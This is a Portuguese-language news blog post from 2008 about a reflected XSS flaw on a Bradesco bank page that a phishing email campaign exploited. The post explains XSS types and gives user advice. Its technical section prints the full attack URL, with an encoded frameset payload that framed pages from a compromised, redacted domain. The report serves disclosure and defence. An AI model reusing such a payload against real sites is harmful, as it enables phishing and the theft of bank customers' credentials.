terça-feira, 29 de julho de 2008

Falha no site do Bradesco permitiu ataque XSS

Criminosos brasileiros conseguiram descobrir um problema em uma página do Bradesco que permitia que a mesma fosse “alterada” por meio de links, possibilitando o uso do domínio do banco para todo tipo de atividade maliciosa.

Para tal, crackers enviaram e-mail em massa contendo um link que explorava uma falha de XSS (Cross Site Scripting) existente em uma página localizada em institucional.bradesco.com.br. Se clicado, o link enviava informações à página que causavam um comportamento indesejável, fazendo com que argumentos da query string — como é chamada a parte do link depois do ponto de interrogação (”asp?…”) — fossem inseridas como código, permitindo o ataque.

Dias antes da publicação desta matéria, a Linha Defensiva notificou o Bradesco. O banco removeu a página vulnerável dentro de aproximadamente 48 horas, inutilizando o ataque.

A mensagem contendo o link que explorava a brecha solicitava o recadastramento das “chaves de segurança” usadas nas transações através da Internet, convidando o usuário a fazê-lo por meio do link.

Como é demonstrado na imagem, a maioria dos navegadores e os programas de e-mails não exibem o endereço completo de uma URL, se esta for muito extensa, não permitindo que a existência do golpe seja percebida.

Embora o e-mail tenha usado uma técnica refinada que facilmente poderia enganar até mesmo usuários com certa experiência, devido ao link camuflado, erros de ortografia característicos de golpes e fraudes se faziam presentes. Aparentemente, o sistema de e-mail em massa usado pelos criminosos não era compatível com caracteres especiais, como acentos.

Informações técnicas a respeito do ataque estão disponíveis abaixo.

XSS

Cross Site Scripting, ou XSS, é um tipo de vulnerabilidade onde determinada página de internet não filtra suficientemente as informações enviadas pelo navegador web, sendo possível fazê-la exibir conteúdos de outros sites, ou conteúdos especificados no próprio link ou outra informação.

Um exemplo clássico é a página de busca. Em geral, páginas de buscas exibem na tela a informação que está sendo procurada (por exemplo, “Você está procurando por: [termo de pesquisa]“). Se a exibição desta informação não for filtrada corretamente, a informação, em vez de exibida, será interpretada como código HTML pelo navegador, possibilitando o ataque.

Fóruns, livros de visitas e blogs (este último, devido à função de comentários) podem ser vítimas do XSS permanente, onde um post malicioso, por exemplo, fica permanentemente no ar e afetará qualquer usuário que o ver. Este é o ataque de XSS persistente, ou tipo 2.

O Bradesco foi alvo do XSS impermanente ou não-persistente, também chamado de XSS tipo 1.

O objetivo de ataques XSS é geralmente roubar informações importantes da vítima, tais como os cookies de autenticação. Porém, XSS também pode ser usado para alterar os sites e usar da confiança depositada pelo internauta na página para persuadi-lo a enviar informações sigilosas, ou para rodar código malicioso nos PCs de visitantes.

A Linha Defensiva já noticiou a respeito de brechas semelhantes no YouTube e no Orkut.

Para se prevenir de ataques XSS impermanentes, recomenda-se que links recebidos em mensagens de e-mail e similares não sejam clicados, a não ser quando estava-se esperando absolutamente o e-mail em questão (como, por exemplo, depois de registrar-se em um site para validar sua conta). Sempre que possível, deve-se digitar o endereço do site na barra de endereços do navegador e procurar manualmente o que foi indicado no e-mail.

Brechas de XSS tipo 2 são difíceis de serem evitadas pelo usuário, sendo a responsabilidade do site nesses casos ainda maior, embora, em última instância, a responsabilidade sempre seja do site.

Detalhes Técnicos

O link malicioso usado pelos criminosos era:

http://institucional.bradesco.com.br/RedeAtendimento/Index_Pesquisa.asp?pesquisa=&titulo=%3C/title%3E%3Cframeset%20rows=%2228,*,23%22%20border=0%20style=%22border:0;%20margin:0%22%3E%3Cframe%20src=%22http://.com.br/completo/html/content/barra/index.shtml%22%20name=%22frm_top%22%20id=%22frm_top%22%20frameborder=%220%22%20scrolling=%22No%22%20noresize%20marginwidth=0%20marginheight=0%3E%3Cframe%20src=%22http://http://[DOMINIO MALICIOSO].com.br/completo/html/content/home/index.shtml%22%20name=%22conteudo%22%20id=%22conteudo%22%20frameborder=%220%22%20scrolling=%22auto%22%20noresize%20marginwidth=%220%22%20marginheight=%220%22%3E%3Cframe%20src=%22http://[DOMINIO MALICIOSO].com.br/completo/html/content/barra/bottom.shtml%22%20name=%22barraBottom%22%20id=%22barraBottom%22%20frameborder=%220%22%20scrolling=%22no%22%20noresize%20marginwidth=%220%22%20marginheight=%220%22%3E%3C/frameset%3E

Ao acessar o link, o internauta era direcionado para uma página do Bradesco (Index_Pesquisa.asp) que, vulnerável a XSS, carregava outra página, hospedada em um domínio brasileiro (cujo nome não foi divulgado por se tratar de um domínio legítimo comprometido).

Em ataques XSS, páginas legítimas são usadas de forma maliciosa e um código (no caso acima, um “IFRAME”) é inserido na página legítima. O conteúdo da página será, portanto, diferente do esperado.

Fonte: Linha Defensiva

Nenhum comentário: